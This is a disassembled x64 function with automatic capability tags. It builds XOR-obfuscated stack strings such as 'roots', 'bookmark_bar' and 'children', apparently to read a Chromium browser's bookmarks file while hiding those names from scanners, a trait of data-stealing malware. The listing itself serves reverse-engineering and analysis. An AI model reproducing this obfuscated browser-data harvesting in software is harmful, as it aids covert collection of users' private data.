Function at 0x14002aab0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rax, qword [0x1400d6a80]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov rsi, r8
mov qword [rbp + 0xb8], r8
mov rdi, rdx
mov qword [rbp + 0xa8], rdx
mov r14, rcx
mov qword [rbp + 0xc0], rcx
mov qword [rsp + 0x70], rcx
mov qword [rbp + 0xc8], rdx
mov qword [rbp + 0xd0], r8
lea rdx, [0x1400d8880]
cmp qword [0x1400d8898], 0xf
cmova rdx, qword [0x1400d8880]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe8], xmm1
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14002ab50
lea rcx, [rbp + 0xd8]
call fcn.140001740
nop
lea rdx, [rbp + 0xf8]
lea rcx, [0x1400d86a9]
call fcn.1400252c0
nop
lea r9, [rbp + 0xd8]
mov r8, rax
movzx edx, byte [rbp + 0x80]
lea rcx, [rbp + 0x180]
call fcn.1400026c0
nop
mov rdx, qword [rbp + 0x110]
cmp rdx, 0xf
jbe 0x14002abda
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002abd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002ba2e
call fcn.14007858c
movdqa xmm0, xmmword [0x1400aee30]
movdqu xmmword [rbp + 0x108], xmm0
mov byte [rbp + 0xf8], 0
mov r8, qword [rbp + 0xf0]
cmp r8, 0xf
jbe 0x14002ac11
mov rdx, qword [rbp + 0xd8]
lea rcx, [rbp + 0xd8]
call fcn.140003a80
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14002ac1e
mov rdx, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 0
nop
inc rbx
cmp byte [rdx + rbx], 0
jne 0x14002ac40
mov r8, rbx
lea rcx, [rbp + 0xd8]
call fcn.140001740
mov r9d, 1
lea r8, [rbp + 0xd8]
lea rdx, [rbp + 0x160]
lea rcx, [0x1400d87a0]
call fcn.140071ad0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x138], xmm0
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], rax
xor edx, edx
lea rcx, [rbp + 0x138]
call fcn.140012800
nop
xor edx, edx
mov r8d, 0xc0
lea rcx, [rbp + 0x2a0]
call fcn.1400a80d0
lea rcx, [rbp + 0x2a0]
call fcn.14000ceb0
nop
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x1a0]
call fcn.1400a80d0
mov edx, 1
lea rcx, [rbp + 0x1a0]
call fcn.140028a20
nop
mov r9b, 1
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x2a0]
call fcn.140010270
mov ebx, 0xf
test al, al
je 0x14002b896
xor r13d, r13d
nop word [rax + rax]
mov byte [rsp + 0x4c], 0x74
mov al, 6
mov cl, 0x1b
movzx edx, cl
xor r8b, r8b
mov r9b, 7
xor r10d, r10d
xor al, 0x74
mov byte [rsp + 0x4d], al
xor cl, 0x74
mov byte [rsp + 0x4e], cl
xor dl, 0x74
mov byte [rsp + 0x4f], dl
xor r8b, 0x74
mov byte [rsp + 0x50], r8b
xor r9b, 0x74
mov byte [rsp + 0x51], r9b
mov byte [rsp + 0x52], r10b
lea rdx, [rsp + 0x4d]
lea rcx, [rbp + 0x138]
call fcn.140012fa0
mov qword [rsp + 0x70], rax
mov byte [rbp - 0x48], 0x5f
mov cl, 0x3d
mov dl, 0x30
movzx r8d, dl
mov r9b, 0x34
mov r10b, 0x32
mov r11b, 0x3e
mov bl, 0x2d
movzx edi, r9b
xor sil, sil
movzx r14d, cl
movzx r15d, r11b
movzx r12d, bl
xor eax, eax
xor cl, 0x5f
mov byte [rbp - 0x47], cl
xor dl, 0x5f
mov byte [rbp - 0x46], dl
xor r8b, 0x5f
mov byte [rbp - 0x45], r8b
xor r9b, 0x5f
mov byte [rbp - 0x44], r9b
xor r10b, 0x5f
mov byte [rbp - 0x43], r10b
xor r11b, 0x5f
mov byte [rbp - 0x42], r11b
xor bl, 0x5f
mov byte [rbp - 0x41], bl
xor dil, 0x5f
mov byte [rbp - 0x40], dil
xor sil, 0x5f
mov byte [rbp - 0x3f], sil
xor r14b, 0x5f
mov byte [rbp - 0x3e], r14b
xor r15b, 0x5f
mov byte [rbp - 0x3d], r15b
xor r12b, 0x5f
mov byte [rbp - 0x3c], r12b
mov byte [rbp - 0x3b], al
lea rdx, [rbp - 0x47]
mov rcx, qword [rsp + 0x70]
call fcn.140012fa0
mov byte [rsp + 0x78], 0x3e
mov cl, 0x5d
mov dl, 0x56
mov r8b, 0x57
mov r9b, 0x52
mov r10b, 0x5a
mov r11b, 0x4c
mov bl, 0x5b
mov dil, 0x50
xor esi, esi
xor cl, 0x3e
mov byte [rsp + 0x79], cl
xor dl, 0x3e
mov byte [rsp + 0x7a], dl
xor r8b, 0x3e
mov byte [rsp + 0x7b], r8b
xor r9b, 0x3e
mov byte [rsp + 0x7c], r9b
xor r10b, 0x3e
mov byte [rsp + 0x7d], r10b
xor r11b, 0x3e
mov byte [rsp + 0x7e], r11b
xor bl, 0x3e
mov byte [rsp + 0x7f], bl
xor dil, 0x3e
mov byte [rbp - 0x80], dil
mov byte [rbp - 0x7f], sil
lea rdx, [rsp + 0x79]
mov rcx, rax
call fcn.140012fa0
mov rcx, rax
call fcn.1400140c0
cmp r13d, eax
je 0x14002b87c
mov byte [rsp + 0x54], 0x59
mov al, 0x2b
mov cl, 0x36
movzx edx, cl
mov r8b, 0x2d
mov r9b, 0x2a
xor al, 0x59
mov byte [rsp + 0x55], al
xor cl, 0x59
mov byte [rsp + 0x56], cl
xor dl, 0x59
mov byte [rsp + 0x57], dl
xor r8b, 0x59
mov byte [rsp + 0x58], r8b
xor r9b, 0x59
mov byte [rsp + 0x59], r9b
mov byte [rsp + 0x5a], sil
lea rdx, [rsp + 0x55]
lea rcx, [rbp + 0x138]
call fcn.140012fa0
mov qword [rsp + 0x70], rax
mov byte [rbp - 0x38], 0x62
xor cl, cl
mov dl, 0xd
movzx r8d, dl
mov r9b, 9
mov r10b, 0xf
mov r11b, 3
mov bl, 0x10
movzx edi, r9b
mov sil, 0x3d
xor r14b, r14b
movzx r15d, r11b
movzx r12d, bl
xor eax, eax
xor cl, 0x62
mov byte [rbp - 0x37], cl
xor dl, 0x62
mov byte [rbp - 0x36], dl
xor r8b, 0x62
mov byte [rbp - 0x35], r8b
xor r9b, 0x62
mov byte [rbp - 0x34], r9b
xor r10b, 0x62
mov byte [rbp - 0x33], r10b
xor r11b, 0x62
mov byte [rbp - 0x32], r11b
xor bl, 0x62
mov byte [rbp - 0x31], bl
xor dil, 0x62
mov byte [rbp - 0x30], dil
xor sil, 0x62
mov byte [rbp - 0x2f], sil
xor r14b, 0x62
mov byte [rbp - 0x2e], r14b
xor r15b, 0x62
mov byte [rbp - 0x2d], r15b
xor r12b, 0x62
mov byte [rbp - 0x2c], r12b
mov byte [rbp - 0x2b], al
lea rdx, [rbp - 0x37]
mov rcx, qword [rsp + 0x70]
call fcn.140012fa0
mov byte [rbp - 0x78], 0x14
mov cl, 0x77
mov dl, 0x7c
mov r8b, 0x7d
mov r9b, 0x78
mov r10b, 0x70
mov r11b, 0x66
mov bl, 0x71
mov dil, 0x7a
xor esi, esi
xor cl, 0x14
mov byte [rbp - 0x77], cl
xor dl, 0x14
mov byte [rbp - 0x76], dl
xor r8b, 0x14
mov byte [rbp - 0x75], r8b
xor r9b, 0x14
mov byte [rbp - 0x74], r9b
xor r10b, 0x14
mov byte [rbp - 0x73], r10b
xor r11b, 0x14
mov byte [rbp - 0x72], r11b
xor bl, 0x14
mov byte [rbp - 0x71], bl
xor dil, 0x14
mov byte [rbp - 0x70], dil
mov byte [rbp - 0x6f], sil
lea rdx, [rbp - 0x77]
mov rcx, rax
call fcn.140012fa0
mov edx, r13d
mov rcx, rax
call fcn.140012c80
mov byte [rsp + 0x3c], 0x55
mov cl, 0x3b
mov dl, 0x34
mov r8b, 0x38
mov r9b, 0x30
xor cl, 0x55
mov byte [rsp + 0x3d], cl
xor dl, 0x55
mov byte [rsp + 0x3e], dl
xor r8b, 0x55
mov byte [rsp + 0x3f], r8b
xor r9b, 0x55
mov byte [rsp + 0x40], r9b
mov byte [rsp + 0x41], sil
lea rdx, [rsp + 0x3d]
mov rcx, rax
call fcn.140012fa0
lea rdx, [rbp + 0xf8]
mov rcx, rax
call fcn.140013430
nop
mov byte [rsp + 0x5c], 0x45
mov al, 0x37
mov cl, 0x2a
movzx edx, cl
mov r8b, 0x31
mov r9b, 0x36
xor r10d, r10d
xor al, 0x45
mov byte [rsp + 0x5d], al
xor cl, 0x45
mov byte [rsp + 0x5e], cl
xor dl, 0x45
mov byte [rsp + 0x5f], dl
xor r8b, 0x45
mov byte [rsp + 0x60], r8b
xor r9b, 0x45
mov byte [rsp + 0x61], r9b
mov byte [rsp + 0x62], r10b
lea rdx, [rsp + 0x5d]
lea rcx, [rbp + 0x138]
call fcn.140012fa0
mov qword [rsp + 0x70], rax
mov byte [rbp - 0x28], 0x6f
mov cl, 0xd
xor dl, dl
xor r8b, r8b
mov r9b, 4
mov r10b, 2
mov r11b, 0xe
mov bl, 0x1d
movzx edi, r9b
mov sil, 0x30
movzx r14d, cl
movzx r15d, r11b
movzx r12d, bl
xor eax, eax
xor cl, 0x6f
mov byte [rbp - 0x27], cl
xor dl, 0x6f
mov byte [rbp - 0x26], dl
xor r8b, 0x6f
mov byte [rbp - 0x25], r8b
xor r9b, 0x6f
mov byte [rbp - 0x24], r9b
xor r10b, 0x6f
mov byte [rbp - 0x23], r10b
xor r11b, 0x6f
mov byte [rbp - 0x22], r11b
xor bl, 0x6f
mov byte [rbp - 0x21], bl
xor dil, 0x6f
mov byte [rbp - 0x20], dil
xor sil, 0x6f
mov byte [rbp - 0x1f], sil
xor r14b, 0x6f
mov byte [rbp - 0x1e], r14b
xor r15b, 0x6f
mov byte [rbp - 0x1d], r15b
xor r12b, 0x6f
mov byte [rbp - 0x1c], r12b
mov byte [rbp - 0x1b], al
lea rdx, [rbp - 0x27]
mov rcx, qword [rsp + 0x70]
call fcn.140012fa0
mov byte [rbp - 0x68], 0x2f
mov cl, 0x4c
mov dl, 0x47
mov r8b, 0x46
mov r9b, 0x43
mov r10b, 0x4b
mov r11b, 0x5d
mov bl, 0x4a
mov dil, 0x41
xor esi, esi
xor cl, 0x2f
mov byte [rbp - 0x67], cl
xor dl, 0x2f
mov byte [rbp - 0x66], dl
xor r8b, 0x2f
mov byte [rbp - 0x65], r8b
xor r9b, 0x2f
mov byte [rbp - 0x64], r9b
xor r10b, 0x2f
mov byte [rbp - 0x63], r10b
xor r11b, 0x2f
mov byte [rbp - 0x62], r11b
xor bl, 0x2f
mov byte [rbp - 0x61], bl
xor dil, 0x2f
mov byte [rbp - 0x60], dil
mov byte [rbp - 0x5f], sil
lea rdx, [rbp - 0x67]
mov rcx, rax
call fcn.140012fa0
mov edx, r13d
mov rcx, rax
call fcn.140012c80
mov byte [rsp + 0x44], 0x5c
mov cl, 0x28
mov dl, 0x25
mov r8b, 0x2c
mov r9b, 0x39
xor cl, 0x5c
mov byte [rsp + 0x45], cl
xor dl, 0x5c
mov byte [rsp + 0x46], dl
xor r8b, 0x5c
mov byte [rsp + 0x47], r8b
xor r9b, 0x5c
mov byte [rsp + 0x48], r9b
mov byte [rsp + 0x49], sil
lea rdx, [rsp + 0x45]
mov rcx, rax
call fcn.140012fa0
lea rdx, [rbp + 0xd8]
mov rcx, rax
call fcn.140013430
nop
mov byte [rsp + 0x64], 0x40
mov al, 0x32
mov cl, 0x2f
movzx edx, cl
mov r8b, 0x34
mov r9b, 0x33
xor r10d, r10d
xor al, 0x40
mov byte [rsp + 0x65], al
xor cl, 0x40
mov byte [rsp + 0x66], cl
xor dl, 0x40
mov byte [rsp + 0x67], dl
xor r8b, 0x40
mov byte [rsp + 0x68], r8b
xor r9b, 0x40
mov byte [rsp + 0x69], r9b
mov byte [rsp + 0x6a], r10b
lea rdx, [rsp + 0x65]
lea rcx, [rbp + 0x138]
call fcn.140012fa0
mov qword [rsp + 0x70], rax
mov byte [rbp - 0x18], 0x5d
mov cl, 0x3f
mov dl, 0x32
movzx r8d, dl
mov r9b, 0x36
mov r10b, 0x30
mov r11b, 0x3c
mov bl, 0x2f
movzx edi, r9b
mov sil, 2
movzx r14d, cl
movzx r15d, r11b
movzx r12d, bl
xor eax, eax
xor cl, 0x5d
mov byte [rbp - 0x17], cl
xor dl, 0x5d
mov byte [rbp - 0x16], dl
xor r8b, 0x5d
mov byte [rbp - 0x15], r8b
xor r9b, 0x5d
mov byte [rbp - 0x14], r9b
xor r10b, 0x5d
mov byte [rbp - 0x13], r10b
xor r11b, 0x5d
mov byte [rbp - 0x12], r11b
xor bl, 0x5d
mov byte [rbp - 0x11], bl
xor dil, 0x5d
mov byte [rbp - 0x10], dil
xor sil, 0x5d
mov byte [rbp - 0xf], sil
xor r14b, 0x5d
mov byte [rbp - 0xe], r14b
xor r15b, 0x5d
mov byte [rbp - 0xd], r15b
xor r12b, 0x5d
mov byte [rbp - 0xc], r12b
mov byte [rbp - 0xb], al
lea rdx, [rbp - 0x17]
mov rcx, qword [rsp + 0x70]
call fcn.140012fa0
mov byte [rbp - 0x58], 0x66
mov cl, 5
mov dl, 0xe
mov r8b, 0xf
mov r9b, 0xa
mov r10b, 2
mov r11b, 0x14
mov bl, 3
mov dil, 8
xor esi, esi
xor cl, 0x66
mov byte [rbp - 0x57], cl
xor dl, 0x66
mov byte [rbp - 0x56], dl
xor r8b, 0x66
mov byte [rbp - 0x55], r8b
xor r9b, 0x66
mov byte [rbp - 0x54], r9b
xor r10b, 0x66
mov byte [rbp - 0x53], r10b
xor r11b, 0x66
mov byte [rbp - 0x52], r11b
xor bl, 0x66
mov byte [rbp - 0x51], bl
xor dil, 0x66
mov byte [rbp - 0x50], dil
mov byte [rbp - 0x4f], sil
lea rdx, [rbp - 0x57]
mov rcx, rax
call fcn.140012fa0
mov edx, r13d
mov rcx, rax
call fcn.140012c80
mov byte [rsp + 0x34], 0x1d
mov cl, 0x68
mov dl, 0x6f
mov r8b, 0x71
xor cl, 0x1d
mov byte [rsp + 0x35], cl
xor dl, 0x1d
mov byte [rsp + 0x36], dl
xor r8b, 0x1d
mov byte [rsp + 0x37], r8b
mov byte [rsp + 0x38], sil
lea rdx, [rsp + 0x35]
mov rcx, rax
call fcn.140012fa0
lea rdx, [rbp + 0x118]
mov rcx, rax
call fcn.140013430
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], 2
mov ebx, 0xf
mov qword [rbp + 0xa0], rbx
movabs rdi, 0x2020202020202020
mov word [rbp + 0x88], di
mov byte [rbp + 0x8a], sil
lea rdx, [rbp + 0x88]
lea r8d, [rsi + 2]
lea rcx, [rbp + 0x1b0]
call fcn.140001840
mov rcx, rax
mov rax, qword [rbp + 0xa8]
mov rdx, rax
cmp qword [rax + 0x18], rbx
jbe 0x14002b3eb
mov rdx, qword [rax]
call fcn.140001320
mov byte [rsp + 0x20], 0x64
mov cl, 0x48
mov dl, 0x44
xor r8d, r8d
xor cl, 0x64
mov byte [rsp + 0x21], cl
xor dl, 0x64
mov byte [rsp + 0x22], dl
mov byte [rsp + 0x23], r8b
lea rdx, [rsp + 0x21]
mov rcx, rax
call fcn.140001320
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rdx, qword [rbp + 0xf8]
mov rcx, rax
call fcn.140001320
mov byte [rsp + 0x24], 0x1a
mov cl, 0x36
mov dl, 0x3a
xor r8d, r8d
xor cl, 0x1a
mov byte [rsp + 0x25], cl
xor dl, 0x1a
mov byte [rsp + 0x26], dl
mov byte [rsp + 0x27], r8b
lea rdx, [rsp + 0x25]
mov rcx, rax
call fcn.140001320
lea rdx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0xf
cmova rdx, qword [rbp + 0x118]
mov rcx, rax
call fcn.140001320
mov byte [rsp + 0x28], 0x45
mov cl, 0x69
mov dl, 0x65
xor r8d, r8d
xor cl, 0x45
mov byte [rsp + 0x29], cl
xor dl, 0x45
mov byte [rsp + 0x2a], dl
mov byte [rsp + 0x2b], r8b
lea rdx, [rsp + 0x29]
mov rcx, rax
call fcn.140001320
lea rdx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova rdx, qword [rbp + 0xd8]
mov rcx, rax
call fcn.140001320
mov byte [rsp + 0x2c], 0x6b
mov cl, 0x66
mov dl, 0x61
xor r8d, r8d
xor cl, 0x6b
mov byte [rsp + 0x2d], cl
xor dl, 0x6b
mov byte [rsp + 0x2e], dl
mov byte [rsp + 0x2f], r8b
lea rdx, [rsp + 0x2d]
mov rcx, rax
call fcn.140001320
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14002b53f
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b53a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002ba34
call fcn.14007858c
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], 2
mov qword [rbp + 0xa0], rbx
mov word [rbp + 0x88], di
mov byte [rbp + 0x8a], 0
lea rdx, [rbp + 0x88]
mov r8d, 2
lea rcx, [rbp + 0x1b0]
call fcn.140001840
mov r8, rax
movdqa xmm0, xmmword [0x1400b5e20]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x1400b5e10]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmm1
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmmword [rbp + 0x50], xmm1
movdqa xmmword [rbp + 0x60], xmm1
xor eax, eax
mov byte [rbp + 0x70], al
xor edi, edi
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbp]
xor byte [rbp + rax + 1], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 2], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 3], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 4], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 5], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 6], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 7], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 8], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 9], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0xa], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0xb], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0xc], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0xd], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0xe], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0xf], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x10], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x11], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x12], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x13], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x14], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x15], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x16], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x17], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x18], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x19], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x1a], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x1b], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x1c], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x1d], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x1e], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x1f], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x20], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x21], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x22], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x23], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x24], cl
movzx ecx, byte [rbp]
xor byte [rbp + rax + 0x25], cl
add rax, 0x25
cmp rax, 0x6f
jb 0x14002b5d0
mov byte [rbp + 0x70], dil
lea rdx, [rbp + 1]
mov rcx, r8
call fcn.140001320
mov byte [rsp + 0x30], 0x3f
mov cl, 0x32
mov dl, 0x35
xor cl, 0x3f
mov byte [rsp + 0x31], cl
xor dl, 0x3f
mov byte [rsp + 0x32], dl
mov byte [rsp + 0x33], dil
lea rdx, [rsp + 0x31]
mov rcx, rax
call fcn.140001320
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14002b781
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b77c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002ba3a
call fcn.14007858c
inc dword [0x1400d6740]
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x14002b7c8
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b7c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002ba40
call fcn.14007858c
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0x130], rbx
mov byte [rbp + 0x118], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x14002b81e
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b819
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002ba46
call fcn.14007858c
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rbx
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 0xf
jbe 0x14002b874
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b86f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002ba4c
call fcn.14007858c
inc r13d
jmp 0x14002ad20
mov rdi, qword [rbp + 0xa8]
mov rsi, qword [rbp + 0xb8]
mov r14, qword [rbp + 0xc0]
mov ebx, 0xf
mov rdx, r14
lea rcx, [rbp + 0x1a0]
call fcn.14003b1a0
nop
lea rcx, [rbp + 0x1a0]
call fcn.140003420
nop
lea rcx, [rbp + 0x2a0]
call fcn.140028f20
nop
lea rcx, [rbp + 0x138]
call fcn.140012bd0
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14002b90e
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b909
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002ba52
call fcn.14007858c
movdqa xmm0, xmmword [0x1400aee30]
movdqu xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x160], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x14002b967
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b961
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002ba58
call fcn.14007858c
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14002b9a1
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x14002b99c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002ba22
mov rcx, r8
call fcn.14007858c
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], rbx
mov byte [rdi], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14002b9e6
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14002b9e1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002ba28
mov rcx, r8
call fcn.14007858c
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], rbx
mov byte [rsi], 0
mov rax, r14
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.1400786a0
mov rbx, qword [rsp + 0x4c8]
add rsp, 0x470
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
int3
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
nop
call fcn.14007f7cc
int3